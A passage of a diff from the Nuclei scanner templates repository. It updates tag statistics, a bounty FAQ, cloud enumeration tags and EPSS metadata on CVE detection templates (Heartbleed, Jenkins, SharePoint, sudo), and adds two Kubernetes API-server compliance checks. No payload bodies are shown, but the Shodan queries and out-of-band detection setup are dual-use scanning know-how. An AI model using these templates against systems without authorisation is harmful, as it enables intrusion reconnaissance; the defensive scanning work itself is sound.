"count":49},{"name":"tenable","count":48},{"name":"aem","count":48},{"name":"api","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"cnvd","count":47},{"name":"vulhub","count":46},{"name":"injection","count":46},{"name":"ibm","count":46},{"name":"aliyun","count":45},{"name":"fortinet","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"k8s-cluster-security","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"xxe","count":37},{"name":"jira","count":37},{"name":"devsecops","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-coding","count":36},{"name":"graphql","count":35},{"name":"osint-misc","count":35},{"name":"dns","count":34},{"name":"fuzz","count":34},{"name":"networking","count":34},{"name":"oob","count":34},{"name":"gitlab","count":34},{"name":"printer","count":34},{"name":"yonyou","count":33},{"name":"lfr","count":33},{"name":"vpc","count":31},{"name":"presLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3330 | dhiyaneshdk   |  1871 | http       |  9035 | info     |  4236 | file |   436 |
-| panel     |  1349 | daffainfo     |   868 | cloud      |   657 | high     |  2486 | dns  |    26 |
-| xss       |  1249 | princechaddha |   854 | file       |   436 | medium   |  2387 |      |       |
-| wordpress |  1189 | dwisiswant0   |   806 | code       |   249 | critical |  1444 |      |       |
-| exposure  |  1114 | ritikchaddha  |   658 | dast       |   238 | low      |   322 |      |       |
-| wp-plugin |  1038 | pussycat0x    |   546 | workflows  |   203 | unknown  |    56 |      |       |
-| osint     |   841 | pikpikcu      |   352 | network    |   151 |          |       |      |       |
-| tech      |   811 | pdteam        |   310 | javascript |    78 |          |       |      |       |
-| rce       |   796 | pdresearch    |   271 | ssl        |    38 |          |       |      |       |
-| lfi       |   779 | iamnoooob     |   259 | dns        |    23 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

Templates-Bounty-FAQ.md

@@ -1,6 +1,6 @@
-# Nuclei Templates Community Rewards Program - FAQ
+# Nuclei Templates Bounty - FAQ
 
-## What is the purpose of this rewards program?
+## What is the purpose of this bounty program?
 The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
 
 ## What are the bounty ranges for template submissions?
@@ -10,12 +10,17 @@ Bounties range from **$50 to $250**, depending on the complexity of the template
 Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
 
 ## What is the acceptance criteria for templates?
+The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
+
 Templates must meet the following criteria:
 1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
-2. **Debug Data**: Include debug data to assist with template validation.
-3. **Validation Required**: The template will be reviewed and validated before rewards are given.
-4. **Accurate Matchers**: Use strong matchers to avoid false positives.
-> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined.
+2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
+3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
+4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
+5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
+6. **Accurate Matchers**: Use strong matchers to avoid false positives.
+
+> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
 
 ## How do I start working on a bounty issue?
 1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
@@ -65,7 +70,7 @@ Templates may be rejected if they:
 Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
 
 ## Is this program permanent?
-The rewards program is currently a test run, but we may make changes based on community feedback.
+The bounty program is currently a test run, but we may make changes based on community feedback.
 
 ## What additional rewards are available besides bounties?
 Beyond bounties, we also reward contributors with:

cloud/enum/aws-app-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,enum,cloud-enum,aws
+  tags: cloud,enum,cloud-enum,aws,discovery
 
 self-contained: true
 
@@ -34,4 +34,4 @@ http:
           - 200
           - 302
         condition: or
-# digest: 4a0a0047304502202b00629a52cbcc198e7d34d2b64cb589c7f1e3656d03bf8c2c83b46cb0cd93bc022100dd71dc5ea04e3d278424d15691609e6c3a3967ba614fc43af74f11911acc25a1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c72eb76f5a040d1b24e529a3f41d00e23912cbf1a822f0bbc1b70de50fb93cbc022100d1bee6e4d2cdaf0c30963a746715395fc4438d47e6ed5b19f3113ba7f5d32bef:922c64590222798bb761d5b6d8e72950

cloud/enum/aws-s3-bucket-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,enum,cloud-enum,aws
+  tags: cloud,enum,cloud-enum,aws,discovery
 
 self-contained: true
 
@@ -38,4 +38,4 @@ http:
         name: "Protected AWS S3 Bucket"
         status:
           - 403
-# digest: 490a00463044022042762e76cd970a173e2b6ebcdb6b5eb7a50dee876ca17dc086869e49cb7a0918022074319bef7221719f2a0af22f125dfe951d2bd8caa49399e5e9d0e703a7eac74e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022040330052e09b20ab8d7ce1876fa078a1d9561e6f80c536d599acbd71957fd618022100ee73a27026a07d4ee42e6f938ec0799946111aa9c771840ca9bbd22324910300:922c64590222798bb761d5b6d8e72950

cloud/enum/azure-db-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,enum,cloud-enum,azure,dns
+  tags: cloud,enum,cloud-enum,azure,dns,discovery
 
 self-contained: true
 
@@ -29,4 +29,4 @@ dns:
         part: answer
         words:
           - "IN\tA"
-# digest: 4a0a00473045022100996d1a8d7019d1d042888717ee86616809f7ccea1ef47eb0aaaa0e2416b874300220085a76c67e4cd35b6d3a6ce40b9923c00f76857411201bb5d2fe81e195cefb7e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a96a380a899cf2a5b297c97255b60a4badc8e2308c09cd4c276df94752197b71022100fde30e503e271d8078b6bed2a5320912aa65e20e4df8fc84cbc9cd7de415774a:922c64590222798bb761d5b6d8e72950

cloud/enum/azure-vm-cloud-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,cloud-enum,azure,fuzz,enum,dns
+  tags: cloud,cloud-enum,azure,fuzz,enum,dns,discovery
 
 self-contained: true
 
@@ -63,4 +63,4 @@ dns:
         part: answer
         words:
           - "IN\tA"
-# digest: 4a0a0047304502204d0fc3b9fa192c08f976d00ea8d644b1536049eae245faafd029f246da8e6b1d022100e3a584da363f2d1960192fd6660b09e70c6c9718644931fead2972ed32d5b6ee:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022032a541f5ba8267dc858da6b4bfedc88f03d5f99bd2b94c008e12123d0b532461022058bc8dfa894c8904f459774f9516ba5feacc00d91d50d39659e73a3bb0680a09:922c64590222798bb761d5b6d8e72950

cloud/enum/azure-website-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,enum,azure
+  tags: cloud,enum,azure,discovery
 
 self-contained: true
 
@@ -34,4 +34,4 @@ http:
           - 200
           - 302
         condition: or
-# digest: 490a004630440220126c63ac565607c646bd1900a65df995c60286fc15c2b779797206c86f0873880220068e36f8ca880bf0632051bb1e4bea5e97a012243737da3b48ee063e6ccac964:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220350306ed3cf366bf163000ac7fcd37ab19ac059636a5fab0deda3b351f1e11e4022039941af02eed8b6659c4933581bc2afb4213c1d8f3451b551c79954015f0da1a:922c64590222798bb761d5b6d8e72950

cloud/enum/gcp-app-engine-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: enum,cloud,cloud-enum,gcp
+  tags: enum,cloud,cloud-enum,gcp,discovery
 
 self-contained: true
 
@@ -40,4 +40,4 @@ http:
           - "status_code==302"
           - contains(location, "login")
         condition: and
-# digest: 4b0a00483046022100fce31a63aab6e8bcaf7cb16745a7d23c0e735104e0b6ff47a0c77e2561e4cb4b022100853c57600af362b2fa7bd3e6551df494fa81dd043de250b32406130b65b183da:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b7ca6a5620e553021c93b3a71a9afb91726a420ca8cbe42fe1b43debb214b2600221009f199a7494eab9c50e752fa60040ebaf0831b622d5734eb8b3c1d4bf9cb971d4:922c64590222798bb761d5b6d8e72950

cloud/enum/gcp-bucket-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: cloud,enum,cloud-enum,gcp
+  tags: cloud,enum,cloud-enum,gcp,discovery
 
 self-contained: true
 
@@ -37,4 +37,4 @@ http:
         name: "Protected GCP Bucket"
         status:
           - 403
-# digest: 490a0046304402201c96ae60fa7a4b6502e37d1f0a368a06326c5d1c0621e333e1baa733a42b1a4902207412bf98d7e4aaf9b755810b30bda7827b495eae85a5607855376c0a1e1d8ab1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f0faf908cbb5f61d20b65f332ad44de601d17049e4cf11b1859b65769a191e09022100c2e00fcfcd4e31c19378a99d4c2e11dd14993b4ccc6cb2b5a66668a2cb4b6f09:922c64590222798bb761d5b6d8e72950

cloud/enum/gcp-firebase-app-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: enum,cloud,cloud-enum,gcp
+  tags: enum,cloud,cloud-enum,gcp,discovery
 
 self-contained: true
 
@@ -32,4 +32,4 @@ http:
         name: "Open GCP Firebase App"
         status:
           - 200
-# digest: 4b0a00483046022100d46b37e833fc0fb66e93b0fd4bf7753abe3ff075eeae2735f79e09850585f7a902210081119295893a854aa69d6403778a3dd8818cd265412c0089391bdd5cf185fcb7:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d3c102572e65c69544af4d0472c1e5063d3faa67e07f8c41b9c23c67d3072d502205197c08d89064af55aba6c334c905ed0545b210f4ab2fb79bcbee3f40e5a46da:922c64590222798bb761d5b6d8e72950

cloud/enum/gcp-firebase-rtdb-enum.yaml

@@ -9,7 +9,7 @@ info:
   metadata:
     verified: true
     max-request: 1
-  tags: enum,cloud,cloud-enum,gcp
+  tags: enum,cloud,cloud-enum,gcp,discovery
 
 self-contained: true
 
@@ -48,4 +48,4 @@ http:
         name: "Deactivated GCP Firebase RTDB"
         status:
           - 423
-# digest: 4a0a0047304502200fd19c4d2057f25272d37b7df6c1c910f3490fd6beda49f493f4f9daa8d697960221008d426fd69d100daf3ea7af86fb08be3d60d1ed8e505f0df50298aa7155e7a10c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b6b2896f4ce1e6a9837be3607a820f1bb941f25bde1af51e9660f64416928fe4022100e967115e55f332bf5b90d6801318bdf25c8c15edb0b4367bc61e2fb618e5381c:922c64590222798bb761d5b6d8e72950

cloud/gcp/dns/gcloud-dns-dangling-records.yaml

@@ -12,7 +12,7 @@ info:
     Regularly audit your DNS records and associated IP addresses. Remove any DNS records that point to IP addresses no longer reserved under your Google Cloud account.
   reference:
     - https://cloud.google.com/dns/docs
-  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
 
 flow: |
   code(1)
@@ -88,4 +88,4 @@ code:
       - type: dsl
         dsl:
           - '"Dangling DNS Record: Type: " + recordType + " Data: " + recordData + " in Zone: " + managedZone + " of Project: " + projectId'
-# digest: 490a0046304402202c5b70acf82fe3e4dbbdf2f4205f693e25cfafc642d5bc9c5b661b7685fcf2ee022032f7c3bd76089463d4bde9e6e4d9de7c25ffc32592167725b57b5ecf86d12e39:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204272ac41efa35729e016879c17d50d03f4b6ac55bfb4f8f44988453124e52510022100fa6369224c1eeb6551e2601a926be5495112c2ec965403dd2f0303907a37bfcd:922c64590222798bb761d5b6d8e72950

cloud/gcp/dns/gcloud-dns-dnssec-unenabled.yaml

@@ -12,7 +12,7 @@ info:
     Enable DNSSEC for each Google Cloud DNS managed zone through the Google Cloud Console or using the `gcloud dns managed-zones update` command with the `--dnssec-state=on` flag.
   reference:
     - https://cloud.google.com/dns/docs/dnssec
-  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
 
 flow: |
   code(1)
@@ -69,4 +69,4 @@ code:
       - type: dsl
         dsl:
           - '"DNSSEC not enabled for Managed Zone: " + managedZoneName + " in Project: " + projectId'
-# digest: 4a0a00473045022100a63467b5c1df819e70daa1a522e5d82b1ebf323053c6059515d504ba3b21a7440220585e48a1e6f01417b987f45713c14ed23a02dcd48f34715a0a31287678703e63:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220216452864fd498a37ca7126a7ac05c8ed4ef12e0ac61c64859e224448acedd6e022100a55e457f728bd9ecc9c5827ef7ae05c82e881f7b30df22fb18edd2b3c231a9d6:922c64590222798bb761d5b6d8e72950

cloud/gcp/dns/gcloud-dnssec-keysigning-rsasha1.yaml

@@ -12,7 +12,7 @@ info:
     Update the DNSSEC configuration for each DNS managed zone to use more secure algorithms like RSASHA256 or ECDSAP256SHA256 for the Key-Signing Key (KSK).
   reference:
     - https://cloud.google.com/dns/docs/dnssec-config
-  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
 
 flow: |
   code(1)
@@ -69,4 +69,4 @@ code:
       - type: dsl
         dsl:
           - '"Deprecated RSASHA1 algorithm found in DNS managed zone: " + managedZone + " in Project: " + projectId'
-# digest: 4a0a00473045022100f1fba22253f98b9a21cc53aa6992c05c36ec882ebaee328c6b76b5ac3c5688b402206dcf925a8f866fe1240ba4fe8c20b80730229c5443fc645041aa23c0c3ca6758:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f824e7dde9600cd968137f059bb4796dabfa7cc877e9f5de277b66e0312ec234022028c76505257d8f5ad46be0313ef6d52e7f02f5f3dbcc0feb1f2052d7bd6b7a90:922c64590222798bb761d5b6d8e72950

cloud/gcp/dns/gcloud-dnssec-zonesigning-rsasha1.yaml

@@ -12,7 +12,7 @@ info:
     Update the DNSSEC configuration to use a stronger, more secure signing algorithm like RSASHA256 or ECDSAP256SHA256 for your DNS managed zones.
   reference:
     - https://cloud.google.com/dns/docs/dnssec-configuring
-  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
 
 flow: |
   code(1)
@@ -71,4 +71,4 @@ code:
       - type: dsl
         dsl:
           - '"Deprecated RSASHA1 Algorithm used in DNSSEC for Managed Zone: " + managedZoneName + " in Project: " + projectId'
-# digest: 4b0a00483046022100cb8b9fff2868480c6af2ad01eab469aae458e9d9bab3eff9a7e58b2bcf36d7c7022100d6a35be3a70ec1ae8d2e5abf280603f6b3c1a64e1e2fd5ae89bd0d281d4dda56:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b162de9f0763eea4bcf9aa7277cb7298115a69682615a41e7680619b3f5e6a7d022070379ac61ebd9acdcdc3b5a15333969a2b443bd656f0dde2d86cefb9a38155c1:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/security-compliance/k8s-apiserver-anonymous-access.yaml

@@ -0,0 +1,45 @@
+id: k8s-apiserver-anonymous-access
+
+info:
+  name: Ensure kube-apiserver --anonymous-auth is explicitly disabled
+  author: songyaeji
+  severity: high
+  description: Checks whether kube-apiserver explicitly sets --anonymous-auth=false in its startup arguments.
+  impact: |
+    If --anonymous-auth is not explicitly disabled, anonymous unauthenticated requests might be allowed,
+    enabling unauthenticated access to cluster resources.
+  remediation: |
+    Edit the kube-apiserver manifest (e.g., /etc/kubernetes/manifests/kube-apiserver.yaml) or startup flags
+    and ensure "--anonymous-auth=false" is present in the apiserver arguments.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
+  tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
+
+variables:
+  argument: "--anonymous-auth=false"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
+      kubectl get pods -n kube-system -l k8s-app=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
+      kubectl get pods -n kube-system -o jsonpath="{.items[?(@.metadata.name.indexOf('kube-apiserver')>=0)].spec.containers[*].command}" 2>/dev/null || \
+      echo ""
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-apiserver'
+      - type: word
+        words:
+          - "{{argument}}"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-apiserver configuration does not explicitly set " + argument + ". This may allow anonymous access."'
+# digest: 4a0a00473045022100d0c4bd2d21dce35e0c47b2d42500b6f9db81b0b3e5c5f7c27969c09297fa84110220190d2e14c1518c8cd02de2d1b1db103825aaf277c283bf400106ca9250da7f32:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/security-compliance/k8s-apiserver-token-auth-file.yaml

@@ -0,0 +1,43 @@
+id: k8s-apiserver-token-auth-file
+
+info:
+  name: Detect kube-apiserver --token-auth-file usage
+  author: songyaeji
+  severity: high
+  description: Detects whether kube-apiserver includes the --token-auth-file startup argument.
+  impact: |
+    If the API server is started with --token-auth-file, static token file authentication may be allowed, which can enable long-lived or poorly managed tokens and weaken cluster authentication posture.
+  remediation: |
+    Remove the --token-auth-file argument from the kube-apiserver startup flags (e.g., edit
+    /etc/kubernetes/manifests/kube-apiserver.yaml) or ensure any tokens in that file are rotated
+    and managed securely. Prefer dynamic, short-lived service account tokens and RBAC.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
+  tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
+
+variables:
+  argument: "--token-auth-file"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-apiserver'
+
+      - type: word
+        words:
+          - "{{argument}}"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-apiserver is configured with " + argument + ". Review and remove if unnecessary."'
+# digest: 490a004630440220406c76857bf007a985f74be4f4f7f85f7f8da773fb9d363ae9deb4995c4155b10220309ba2bba33bee584dc505e418d7ed08ab3aef4beac30fe1888fa3bccba92797:922c64590222798bb761d5b6d8e72950

code/cves/2014/CVE-2014-0160.yaml

@@ -11,9 +11,9 @@ info:
   metadata:
     verified: true
   classification:
-    epss-score: 0.94451
-    epss-percentile: 0.99991
-  tags: cve,cve2014,openssl,heartbleed,code,kev
+    epss-score: 0.94477
+    epss-percentile: 0.99998
+  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln
 
 variables:
   url: "{{RootURL}}"
@@ -138,4 +138,4 @@ code:
       - type: dsl
         dsl:
           - "contains(response,'server is vulnerable')"
-# digest: 490a0046304402205969c22bb4b3671205070aa0bcd66fee55036ac28b60fe9ad5365de6b523a112022008f1352d17e8e3b5d5a1cede73420f5e7f2fd415dbdd4318b7df8addfcf991ac:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220253c760b6f21558040bda6901fd015197a1b07bcd3071335dbc0a5fc5c97ef3b022100fd75f119e678cf94e08677f89145a463de9844d09a8c06970e23b00c321dab73:922c64590222798bb761d5b6d8e72950

code/cves/2016/CVE-2016-8735.yaml

@@ -13,14 +13,14 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2016-8735
-    epss-score: 0.94003
-    epss-percentile: 0.99887
+    epss-score: 0.93875
+    epss-percentile: 0.99862
     cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
   metadata:
     shodan-query: product:"tomcat"
     vendor: apache
     product: tomcat
-  tags: cve,cve2016,apache,tomcat,rce,kev
+  tags: cve,cve2016,apache,tomcat,rce,kev,vkev,vuln
 
 variables:
   OAST: "{{interactsh-url}}"

code/cves/2017/CVE-2017-1000353.yaml

@@ -15,8 +15,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2017-1000353
     cwe-id: CWE-502
-    epss-score: 0.94419
-    epss-percentile: 0.99977
+    epss-score: 0.94508
+    epss-percentile: 0.99999
     cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
   metadata:
     vendor: jenkins
@@ -27,7 +27,7 @@ info:
       - product:"jenkins"
       - x-jenkins
     fofa-query: icon_hash=81586312
-  tags: cve,cve2017,jenkins,rce
+  tags: cve,cve2017,jenkins,rce,vkev,kev,vuln
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -104,4 +104,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a00473045022073c9a60aaf2d09152c947dad4f9930fb185862421d650c9564c5ae9d776b342f022100e19948d6300a0f6e67d46ed2f94f6b9da1f30fa482309c07a0cdc3ebb489409e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201673a5118dfdbecf60a1be63a1d24a000ed266e10d0c7fb6f78eb4598669fde1022100fa926a7397ae4e913a90e271a609b90629fd6be8e250915b0abe22c282144c60:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-0604.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2019-0604
     cwe-id: CWE-20
-    epss-score: 0.94411
-    epss-percentile: 0.99975
+    epss-score: 0.94414
+    epss-percentile: 0.99976
   metadata:
     verified: true
     vendor: microsoft
     product: sharepoint
     shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
-  tags: cve,cve2019,sharepoint,microsoft,rce,kev
+  tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -154,4 +154,4 @@ code:
           - 'contains(interactsh_protocol, "dns")'
           - 'contains(interactsh_request, hex_encode(marker))'
         condition: and
-# digest: 4b0a00483046022100aa64608c91ad7a76f0143c60ffd194f95ba4365b00a8b40eb04f9fed6e88dd140221009fe22151eab4d29abd3874ee04eee1d32d8fe52d2ed79e548a36e4ae42dc07d8:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210082461cf3c1e6dd2447ebe24351e8beb9729daeaa31c70ffcee8b29094d53e51b022100e6f972c3ab3ec97a3380691d598c83e68e66ecb8f2eb69db912e5d3f66231e1d:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-14287.yaml

@@ -17,15 +17,15 @@ info:
     cvss-score: 8.8
     cve-id: CVE-2019-14287
     cwe-id: CWE-755
-    epss-score: 0.84563
-    epss-percentile: 0.99283
+    epss-score: 0.86126
+    epss-percentile: 0.99351
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
     max-request: 2
     vendor: sudo_project
     product: sudo
-  tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project
+  tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project,vuln
 
 self-contained: true
 code:
@@ -47,4 +47,4 @@ code:
           - '!contains(code_1_response, "root")'
           - 'contains(code_2_response, "root")'
         condition: and
-# digest: 490a0046304402200dbdf1b214826d9791fd318aa0d699c47603dfd65e9aee85039cb577cddc9af5022017a612d78f588c0b8eb20458e8ae98dc79f5978f63b49badd5dac811fe9e806a:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220142b1e84a588dc114782c86821e49717d24b8ba55118a4080f47606c1aca3d7c02204503a2b4bcb76f99ad7088beeeb4a5af71dda20062a84b1667142ba11ea5490a:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-0646.yaml

@@ -15,8 +15,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2020-0646
     cwe-id: CWE-91
-    epss-score: 0.93121
-    epss-percentile: 0.99783
+    epss-score: 0.93368
+    epss-percentile: 0.99801
     cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
   metadata:
     verified: true
@@ -24,7 +24,7 @@ info:
     product: .net_framework
     shodan-query: 'server:"ms .net remoting"'
     max-request: 1
-  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast
+  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast,vkev,vuln
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -102,4 +102,4 @@ code:
           - 'contains(content_type, "text/xml")'
           - 'status_code == 200'
         condition: and
-# digest: 490a00463044022039b21fd051ee3d99e5087c4b1ef37ebfbd8d3abf7c717021969855a08cf3ff2902203f3bcb8f09adb6748005b8ab005e0282bed3ac3e1f281064e1a4f41f5db35163:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009d9bdc3780607102c88f8e2c24b7c11abaa1db7626959bea30844b3becad4398022100f8b42cfb37bdec09e2e983826a04f66fa50937cebe0b05d8b98cea1b558a21a9:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-13935.yaml

@@ -10,8 +10,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2020-13935
-    epss-score: 0.92195
-    epss-percentile: 0.99704
+    epss-score: 0.92155
+    epss-percentile: 0.99695
   reference:
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -24,7 +24,7 @@ info:
     shodan-query: html:"Apache Tomcat"
     vendor: apache
     product: tomcat
-  tags: cve,cve2020,tomcat,websocket,dos,code
+  tags: cve,cve2020,tomcat,websocket,dos,code,vuln
 
 flow: http(1) && code(1,2) && code (3)
 

code/cves/2021/CVE-2021-3156.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2021-3156
     cwe-id: CWE-193
-    epss-score: 0.92492
-    epss-percentile: 0.99727
+    epss-score: 0.92188
+    epss-percentile: 0.99697
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
     vendor: sudo_project
     product: sudo
-  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project
+  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project,vkev,vuln
 
 self-contained: true
 code:
@@ -40,4 +40,4 @@ code:
           - "malloc(): memory corruption"
           - "Aborted (core dumped)"
         condition: and
-# digest: 4a0a00473045022100887a542a30331d337a6d8745abf5ba6391fb4654148db6f662d6c1528c6d191b022033573595f529362ff89955ad4409d462c2cd4523e470dbbfeb89104c3df01297:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f71982b68a0941b58c28d66c71e85126c4c968ced5ce8646155128b001dda849022100e1dfe8f43d26c8c72bbdedf39a5ca890a46771c1b941308525a570abd452244c:922c64590222798bb761d5b6d8e72950

code/cves/2022/CVE-2022-42475.yaml

@@ -23,7 +23,7 @@ info:
     cve-id: CVE-2022-42475
